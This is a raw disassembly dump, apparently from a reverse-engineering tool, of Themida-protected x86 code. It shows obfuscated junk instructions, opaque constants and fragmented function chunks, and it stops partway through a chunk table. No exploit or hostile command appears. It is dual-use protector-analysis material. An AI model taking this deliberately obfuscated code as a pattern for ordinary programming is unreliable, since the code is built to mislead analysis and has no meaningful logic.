; ---------------------------------------------------------------------------
loc_556547: ; CODE XREF: Themida_:005566A3j
add ebx, 3B4F79B9h
shl ebx, 1
sub ebx, 7A07807Ah
mov ecx, ebx
pop ebx
jmp loc_555D19
; ---------------------------------------------------------------------------
loc_55655D: ; CODE XREF: Themida_:00551E3Cj
push 1D6h
mov [esp], ebp
push dword ptr [esp+4]
push dword ptr [esp]
pop ebp
jmp loc_5533B4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552E24
loc_556572: ; CODE XREF: sub_552E24+68F0j
pop esp
shr eax, 10h
xor eax, ecx
xor eax, esi
xor esi, eax
jmp loc_55BAE0
; END OF FUNCTION CHUNK FOR sub_552E24
; ---------------------------------------------------------------------------
loc_556581: ; CODE XREF: Themida_:00555794j
mov eax, 64E77962h
jmp loc_55A158
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55658B: ; CODE XREF: sub_556A70-2F2j
pop edi
push edi
push eax
push edi
mov edi, 4B4A7623h
sub edi, 77B462FAh
add edi, 485901D9h
jmp loc_555947
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553D17
loc_5565A5: ; CODE XREF: sub_553D17+63Dj
mov [esp+0], eax
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_553D17
; =============== S U B R O U T I N E =======================================
sub_5565AD proc near ; CODE XREF: sub_55227F+8DB7j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
; FUNCTION CHUNK AT 0055338F SIZE 00000006 BYTES
push ebx
push eax
mov eax, 20575062h
mov ebx, eax
push [esp+8+var_8]
mov eax, [esp+0Ch+var_C]
push esi
push esp
jmp loc_55338F
sub_5565AD endp
; ---------------------------------------------------------------------------
loc_5565C3: ; CODE XREF: Themida_:0055C37Fj
mov esp, [esp]
mov [esp], ecx
mov ecx, esp
add ecx, 4
push esi
push ebx
mov ebx, 128D1C09h
jmp loc_559523
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5565DD: ; CODE XREF: sub_556A70+59j
mov ebx, esp
push ebp
mov ebp, 4
add ebx, ebp
pop ebp
push edi
mov edi, 4
sub ebx, 67D45E1Eh
sub ebx, edi
add ebx, 67D45E1Eh
pop edi
xchg ebx, [esp+10h+var_10]
pop esp
jmp loc_5532BD
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_556606: ; CODE XREF: Themida_:005594BDj
mov [esp], ecx
mov ecx, 7A515F02h
and ecx, 31160B24h
push ecx
jmp loc_551B9F
; ---------------------------------------------------------------------------
loc_55661A: ; CODE XREF: Themida_:005540B9j
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_552DD8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55662E: ; CODE XREF: sub_556A70+53j
push edx
mov edx, 6AB38C9h
jmp loc_5574C6
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_556639: ; CODE XREF: Themida_:0055A34Dj
pop dx
mov bp, [esp]
push eax
mov eax, esp
push ebp
mov ebp, 4
add eax, ebp
pop ebp
add eax, 2
xchg eax, [esp]
jmp loc_556D03
; ---------------------------------------------------------------------------
loc_556656: ; CODE XREF: Themida_:00558E2Cj
push 190Ah
mov [esp], ebp
mov ebp, esp
jmp loc_55BF28
; ---------------------------------------------------------------------------
loc_556665: ; CODE XREF: Themida_:0055BB6Fj
add esi, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
push edx
sub esp, 4
mov [esp], ebp
push 5089133Dh
pop ebp
jmp loc_55A1BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_556689: ; CODE XREF: sub_556A70+41F9j
pop [esp+10h+var_10]
mov esp, [esp+0Ch+var_C]
jmp loc_55CC69
; ---------------------------------------------------------------------------
loc_556694: ; CODE XREF: sub_556A70-4D6Cj
and ebx, ebp
mov ebp, [esp+0]
jmp loc_557AA3
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55669E: ; CODE XREF: Themida_:0055BC01j
mov ebx, 1B44686h
jmp loc_556547
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5566A8: ; CODE XREF: sub_556A70-5608j
mov si, 4FE4h
add bx, 6710h
add bx, si
jmp loc_552679
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_5566B9 proc near ; CODE XREF: sub_555B85+5963j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00550F6C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00551179 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005516A6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00552021 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00552D9B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005531FF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005535E8 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00554478 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00554832 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055497E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055630E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005566E0 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00558A95 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 00558EAC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00558EE4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00559602 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055A35C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055A570 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0055B1EF SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055B2E5 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0055CA07 SIZE 00000008 BYTES
sub esp, 4
mov [esp+4+var_4], eax
sub esp, 4
mov [esp+8+var_8], ecx
mov ecx, 80h
push esi
jmp loc_554478
sub_5566B9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553D17
loc_5566D3: ; CODE XREF: sub_553D17+90B4j
push edx
mov dl, bl
mov al, dl
pop edx
pop ebx
push ecx
jmp loc_559923
; END OF FUNCTION CHUNK FOR sub_553D17
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5566B9
loc_5566E0: ; CODE XREF: sub_5566B9-30BAj
pop ebp
sub ecx, 244301C1h
push edi
mov edi, 67F35B7Dh
xor ecx, edi
pop edi
and ecx, 2240564Ch
jmp loc_551179
; END OF FUNCTION CHUNK FOR sub_5566B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55B730
loc_5566FB: ; CODE XREF: sub_55B730-974Dj
xchg ebp, [esp+0Ch+var_C]
pop esp
pop edx
add ebx, 0C161BE57h
and eax, ebx
mov ebx, [esp+4+var_4]
push esi
jmp loc_550D6E
; END OF FUNCTION CHUNK FOR sub_55B730
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_556711: ; CODE XREF: sub_556A70-4B5Ej
shl ecx, 5
jmp loc_55192D
; ---------------------------------------------------------------------------
loc_556719: ; CODE XREF: sub_556A70-A28j
pop eax
sub edx, 4
xchg edx, [esp-0Ch+arg_8]
pop esp
mov [esp-10h+arg_C], edi
jmp sub_553657
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55672C: ; CODE XREF: Themida_:00552748j
mov esi, esp
add esi, 4
jmp loc_559458
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_556739: ; CODE XREF: sub_556A70-47F6j
pop edx
push 1067h
mov [esp+8+var_8], edi
jmp loc_55CBE9
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_556747: ; CODE XREF: Themida_:00550E5Bj
xor edi, 25B82FB7h
mov esi, edi
pop edi
push 6ED8h
mov [esp], esi
pop ebx
jmp loc_553D33
; ---------------------------------------------------------------------------
loc_55675E: ; CODE XREF: Themida_:0055AECAj
sub esp, 4
mov [esp], esi
jmp loc_555425
; =============== S U B R O U T I N E =======================================
sub_556769 proc near ; CODE XREF: sub_556A70-2A69j
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 005537AB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00558B7D SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055BE98 SIZE 00000005 BYTES
push ebx
jmp loc_5537AB
sub_556769 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55676F: ; CODE XREF: sub_556A70+6D9j
mov edi, 15A010Ch
not edi
xor edi, 0C635BF25h
and ebp, edi
jmp loc_55658B
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_556783: ; CODE XREF: Themida_:00555B80j
shl ah, 5
sub ah, 0FFh
add ah, 7
mov ch, ah
jmp loc_553D6A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_556793: ; CODE XREF: sub_556A70+52C0j
add edi, 624162A5h
jmp loc_556D17
; ---------------------------------------------------------------------------
loc_55679E: ; CODE XREF: sub_556A70+3677j
add esp, 4
add edx, 4
sub edx, 4
xchg edx, [esp+4+var_4]
pop esp
mov [esp+0], eax
not dword ptr [esp+0]
push dword ptr [esp+0]
push [esp+4+var_4]
pop eax
jmp loc_5564D4
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559F2D
loc_5567C3: ; CODE XREF: sub_559F2D+3024j
pop ebx
push 7393h
mov [esp+8+var_8], edx
mov edx, esp
jmp loc_55C59A
; END OF FUNCTION CHUNK FOR sub_559F2D
; ---------------------------------------------------------------------------
mov ax, [esp]
push 3FF6h
mov [esp], esi
push esp
push dword ptr [esp]
pop esi
push edx
jmp loc_55BD59
; =============== S U B R O U T I N E =======================================
sub_5567EA proc near ; CODE XREF: sub_556A70+63D8j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005513F2 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 005523F7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00552D8D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005555E3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00558B65 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055B6C0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055C842 SIZE 00000022 BYTES
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp+4+var_4]
jmp loc_55B6C0
sub_5567EA endp
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
sub esp, 4
jmp loc_5525A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55680C: ; CODE XREF: sub_556A70+6235j
xor edx, 65AAA146h
sub ebx, edx
pop edx
inc ebx
shl ebx, 1
sub ebx, 87E5937Dh
mov ebp, ebx
pop ebx
add ebx, ebp
mov ebp, [esp-4+arg_0]
add esp, 4
push ecx
sub esp, 4
jmp loc_553961
; ---------------------------------------------------------------------------
loc_556832: ; CODE XREF: sub_556A70+24Aj
add ebx, eax
add ebx, 49F7501Ah
push ebp
push ebx
push 61616DADh
jmp loc_55AEF7
; ---------------------------------------------------------------------------
loc_556846: ; CODE XREF: sub_556A70-59ACj
add ebx, 55646909h
push edx
mov dh, ch
mov [ebx], dh
pop edx
mov ebx, [esp+18h+var_18]
add esp, 4
jmp loc_559736
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_55685D: ; CODE XREF: sub_5584F8+D1Ej
and edx, 53892FAAh
push ebx
push edx
mov edx, 25940299h
jmp loc_553B45
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55686F: ; CODE XREF: sub_556A70-3028j
shr ebp, 4
jmp loc_5581A0
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_556877: ; CODE XREF: Themida_:00558537j
mov ebp, 2F355A9Bh
not ebp
push ecx
mov ecx, 6DDC7E67h
shr ecx, 2
shr ecx, 5
jmp loc_557ADD
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_553BDE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_556898: ; CODE XREF: sub_556A70-1BF0j
mov ebp, 3141ECDh
jmp loc_557199
; ---------------------------------------------------------------------------
loc_5568A2: ; CODE XREF: sub_556A70+8E8j
push esp
pop edi
sub esp, 4
mov [esp-0Ah+arg_4+2], ebx
push esi
mov esi, 7892069Ah
sub esi, 3BF805A4h
mov ebx, esi
pop esi
jmp loc_5518C0
; ---------------------------------------------------------------------------
loc_5568BE: ; CODE XREF: sub_556A70+46Dj
dec cx
dec cx
push small 467h
mov word ptr [esp-8+arg_4], bp
mov bp, 79D2h
and cx, bp
mov bp, word ptr [esp-8+arg_4]
add esp, 2
jmp loc_55BEEC
; ---------------------------------------------------------------------------
loc_5568E0: ; CODE XREF: sub_556A70+766j
mov edi, 5F4073ACh
xor ecx, edi
pop edi
sub esp, 4
mov [esp-0Ch+arg_8], ebx
mov ebx, 2FFA1022h
push ebp
mov ebp, 58FF5D40h
and ebp, 57BB3923h
dec ebp
push 0
sub [esp-4+arg_0], ebp
jmp loc_55C984
; ---------------------------------------------------------------------------
loc_556910: ; CODE XREF: sub_556A70+11C2j
mov esi, 0BA2DB608h
mov ecx, esi
pop esi
mov edi, ecx
pop ecx
jmp loc_556097
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_556920: ; CODE XREF: Themida_:0055525Dj
mov bh, 0F2h
mov cl, bh
jmp loc_555B74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_556929: ; CODE XREF: sub_556A70-3464j
shr ebx, 5
and ebx, 507727D3h
jmp loc_557E63
; ---------------------------------------------------------------------------
loc_556937: ; CODE XREF: sub_556A70+820j
mov [esp-4+arg_0], ebx
push esi
mov esi, 77BD0594h
mov ebx, 71604AB9h
inc ebx
jmp loc_558F11
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55694B: ; CODE XREF: Themida_:00554AB5j
mov ecx, 36801B2Bh
dec ecx
not ecx
xor ecx, 0C97FE4D1h
add edx, ecx
jmp loc_5512E9
; ---------------------------------------------------------------------------
loc_556960: ; CODE XREF: Themida_:005546A3j
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
sar byte ptr [esp], cl
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_556973: ; CODE XREF: Themida_:0055CAD9j
mov esi, 7A467B75h
push 0
jmp loc_555D73
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_556982: ; CODE XREF: sub_556A70-3B79j
mov [esp-0Ch+arg_8], eax
push ebx
mov bl, 1Bh
mov ah, 1Ch
sub ah, bl
mov ebx, [esp-8+arg_4]
add esp, 4
sub bh, ah
mov eax, [esp-0Ch+arg_8]
add esp, 4
jmp loc_55AD78
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55699F: ; CODE XREF: Themida_:00558DB4j
push esi
mov esi, esp
push ebx
jmp loc_55AD18
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5569A8: ; CODE XREF: sub_556A70+2012j
push edi
mov edi, 57B56FA6h
shr edi, 7
add edi, 1
or edi, 3AD44E20h
jmp loc_55A87B
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5569BF: ; CODE XREF: Themida_:00555B32j
and cl, 1Eh
xor cl, 0Dh
xor cl, 0FEh
sub al, cl
pop ecx
jmp loc_558BA0
; ---------------------------------------------------------------------------
loc_5569D0: ; CODE XREF: Themida_:00553571j
and ebx, 7BC35274h
or ebx, 37C931F8h
sub ebx, 15422498h
jmp loc_559CA1
; ---------------------------------------------------------------------------
loc_5569E7: ; CODE XREF: Themida_:00553476j
shr ah, 4
xor ah, 9Dh
sub dh, ah
pop eax
sub esp, 4
mov [esp], eax
push ecx
mov cl, 1Ch
jmp loc_557368
; ---------------------------------------------------------------------------
loc_5569FE: ; CODE XREF: Themida_:005531D6j
mov [esp], edx
mov edx, 6D0E5049h
jmp loc_55B49C
; ---------------------------------------------------------------------------
loc_556A0B: ; CODE XREF: Themida_:00550A97j
add ebp, edi
add ebp, 694A58DFh
jmp loc_551E32
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_556A18: ; CODE XREF: sub_556A70-5B09j
push [esp+0Ch+var_C]
mov eax, [esp+10h+var_10]
add esp, 4
push edx
mov edx, esp
push edi
mov edi, 2C8924CCh
or edi, 52E45C4Eh
jmp loc_5530C3
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], ecx
push esp
mov ecx, [esp]
add esp, 4
jmp loc_55B96D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_556A54: ; CODE XREF: sub_556A70+DA7j
sub edi, 547A2D33h
add edi, ebx
jmp loc_5562F7
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552634
loc_556A61: ; CODE XREF: sub_552634-1818j
inc esi
add esi, 15603AAEh
sub edx, esi
pop esi
jmp loc_55451A
; END OF FUNCTION CHUNK FOR sub_552634
; =============== S U B R O U T I N E =======================================
sub_556A70 proc near ; CODE XREF: sub_5AF4AE-5579Aj
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
arg_18 = dword ptr 1Ch
arg_1C = dword ptr 20h
arg_20 = dword ptr 24h
arg_24 = dword ptr 28h
arg_28 = dword ptr 2Ch
arg_2C = dword ptr 30h
arg_30 = dword ptr 34h
arg_34 = dword ptr 38h
arg_38 = dword ptr 3Ch
arg_3C = dword ptr 40h
arg_40 = dword ptr 44h
arg_44 = dword ptr 48h
arg_48 = dword ptr 4Ch
; FUNCTION CHUNK AT 00550A58 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00550AA3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00550AE6 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00550B27 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00550B69 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00550B90 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00550BBB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00550BDE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00550C49 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00550C99 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00550CF4 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00550D33 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00550DAA SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00550DFA SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00550E21 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00550E60 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00550EEF SIZE 00000064 BYTES
; FUNCTION CHUNK AT 00550F5E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00550FAC SIZE 00000052 BYTES
; FUNCTION CHUNK AT 0055102D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00551055 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055106E SIZE 0000005B BYTES
; FUNCTION CHUNK AT 0055114B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005511A5 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 00551204 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00551244 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 005512FD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00551322 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0055138A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005513B8 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005513EB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00551431 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055145B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00551478 SIZE 00000053 BYTES
; FUNCTION CHUNK AT 005514D2 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005514EC SIZE 0000005F BYTES
; FUNCTION CHUNK AT 00551593 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005515EF SIZE 0000003E BYTES
; FUNCTION CHUNK AT 00551638 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00551647 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 005516B8 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 00551711 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00551767 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005517BB SIZE 00000041 BYTES
; FUNCTION CHUNK AT 00551858 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055187A SIZE 00000091 BYTES
; FUNCTION CHUNK AT 00551927 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00551954 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 005519D2 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00551A42 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00551A8D SIZE 00000037 BYTES
; FUNCTION CHUNK AT 00551B68 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00551C34 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00551C51 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 00551CCB SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00551D03 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00551D4F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00551D67 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00551DA3 SIZE 0000004E BYTES
; FUNCTION CHUNK AT 00551E62 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00551ED7 SIZE 00000040 BYTES
; FUNCTION CHUNK AT 00551F4C SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00551F95 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00551FE8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00552011 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00552059 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00552066 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005520BA SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005520FE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00552127 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00552189 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005521BC SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00552201 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00552248 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055226F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055229F SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005522E5 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00552312 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00552330 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0055238C SIZE 00000046 BYTES
; FUNCTION CHUNK AT 005523E5 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00552404 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00552421 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00552440 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00552473 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005524BB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005524D4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00552520 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00552564 SIZE 00000042 BYTES
; FUNCTION CHUNK AT 00552622 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00552647 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00552679 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005526CC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00552704 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0055275E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00552787 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005527CB SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00552812 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00552873 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00552944 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00552963 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055297F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005529CF SIZE 0000003B BYTES
; FUNCTION CHUNK AT 00552A49 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00552AF1 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00552B1E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00552B33 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 00552B97 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00552BC5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00552BE2 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00552C28 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00552C81 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 00552CD8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00552CF2 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00552D4C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00552D69 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00552DC9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00552E2A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00552E3E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00552EC0 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00552EF2 SIZE 0000005F BYTES
; FUNCTION CHUNK AT 00552F68 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00552F7D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00552F96 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00552FD5 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00552FFA SIZE 00000057 BYTES
; FUNCTION CHUNK AT 00553082 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005530B7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00553101 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055313D SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0055317D SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005531DB SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055324A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0055327A SIZE 0000004C BYTES
; FUNCTION CHUNK AT 005532DB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00553395 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005533BC SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0055343A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055345F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005534C8 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00553604 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00553641 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055366A SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005536B2 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005536D3 SIZE 00000056 BYTES
; FUNCTION CHUNK AT 00553735 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00553759 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005537A2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005537B7 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 00553820 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0055389C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005538EF SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00553938 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00553961 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005539B4 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00553A07 SIZE 00000046 BYTES
; FUNCTION CHUNK AT 00553A57 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00553AC4 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00553B51 SIZE 0000000F BYTES
